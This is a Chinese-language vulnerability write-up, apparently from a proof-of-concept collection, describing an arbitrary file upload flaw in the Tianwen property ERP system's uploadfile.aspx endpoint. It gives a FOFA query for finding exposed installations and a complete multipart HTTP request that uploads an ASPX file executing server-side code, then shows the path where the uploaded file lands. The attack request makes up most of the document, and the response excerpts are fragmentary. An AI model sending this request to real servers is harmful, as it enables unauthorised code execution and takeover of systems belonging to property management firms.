# T2-4天问-物业ERP系统-文件上传

## 漏洞描述：

成都天问互联科技有限公司以软件开发和技术服务为基础，建立物业ERP应用系统，向物管公司提供旨在降低成本、保障品质、提升效能为目标的智慧物管整体解决方案，实现物管公司的管理升级；以平台搭建和资源整合为基础，建立社区O2O服务平台，向物管公司提供旨在完善服务、方便业主、增加收益为目标的智慧小区综合服务平台，实现物业公司的服务转型。天问物业ERP系统 uploadfile.aspx存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器，导致服务器失陷。

**网站图片：**


## 网络测绘：

**fofa语法：**

**fofa：**body="天问物业ERP系统"

## 漏洞复现：

payload：

```
POST /HM/M_Main/uploadfile.aspx HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytKnDdPq6SMXufwyT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1022


------WebKitFormBoundarytKnDdPq6SMXufwyT
Content-Disposition: form-data; name="__VIEWSTATE"


/wEPDwUKLTg1NDU3MTA4OQ9kFgICAQ8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRk70CKfgUcso35StfmoNB/ObwwU8W4qvmgqa52HxmqsU0=
------WebKitFormBoundarytKnDdPq6SMXufwyT
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"


DE1005D5
------WebKitFormBoundarytKnDdPq6SMXufwyT
Content-Disposition: form-data; name="__EVENTVALIDATION"


/wEdAAIk02sIXo/TRIPUygBB64GvmW/ynBkkkA2xI95ik8Vs4GXPPWvIYnA84468jdc5Wr+nrufsSY+RKtcm7vKIotDs
------WebKitFormBoundarytKnDdPq6SMXufwyT
Content-Disposition: form-data; name="BtnSave"


确定上传
------WebKitFormBoundarytKnDdPq6SMXufwyT
Content-Disposition: form-data; name="upload_img"; filename="1.aspx"
Content-Type: application/octet-stream


<%@Page Language="C#"%>
<%Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("MHhvbGQ2"))); System.IO.File.Delete(Request.PhysicalPath);%>


------WebKitFormBoundarytKnDdPq6SMXufwyT
```

效果图:

```
POST /HM/M_Main/uploadfile.aspx HTTP/1.1
Host:
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarytKnDdPq6SMXuf
wyT
User-Agent: Mozilla/5.0 (Macintosh; Intel
Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3
Safari/605.1.15
Content-Length: 1022

------WebKitFormBoundarytKnDdPq6SMXufwyT
Content-Disposition: form-data; name="
__VIEWSTATE"

/wEPDwUKLTg1NDU3MTA4OQ9kFgICAQ8WAh4HZW5jdHlw
ZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRk70CKfgUcso35
StfmoNB/ObwwU8W4qvmgqa52HxmqsU0=
------WebKitFormBoundarytKnDdPq6SMXufwyT
Content-Disposition: form-data; name="
__VIEWSTATEGENERATOR"
```

```
ui52uos4d521c2fb; path=/

/HM/M_Main/OAUpLoadFile/

tml">
```

2.访问该路径，得到上传内容/HM/M_Main/OAUpLoadFile/2022/09/20229611586.aspx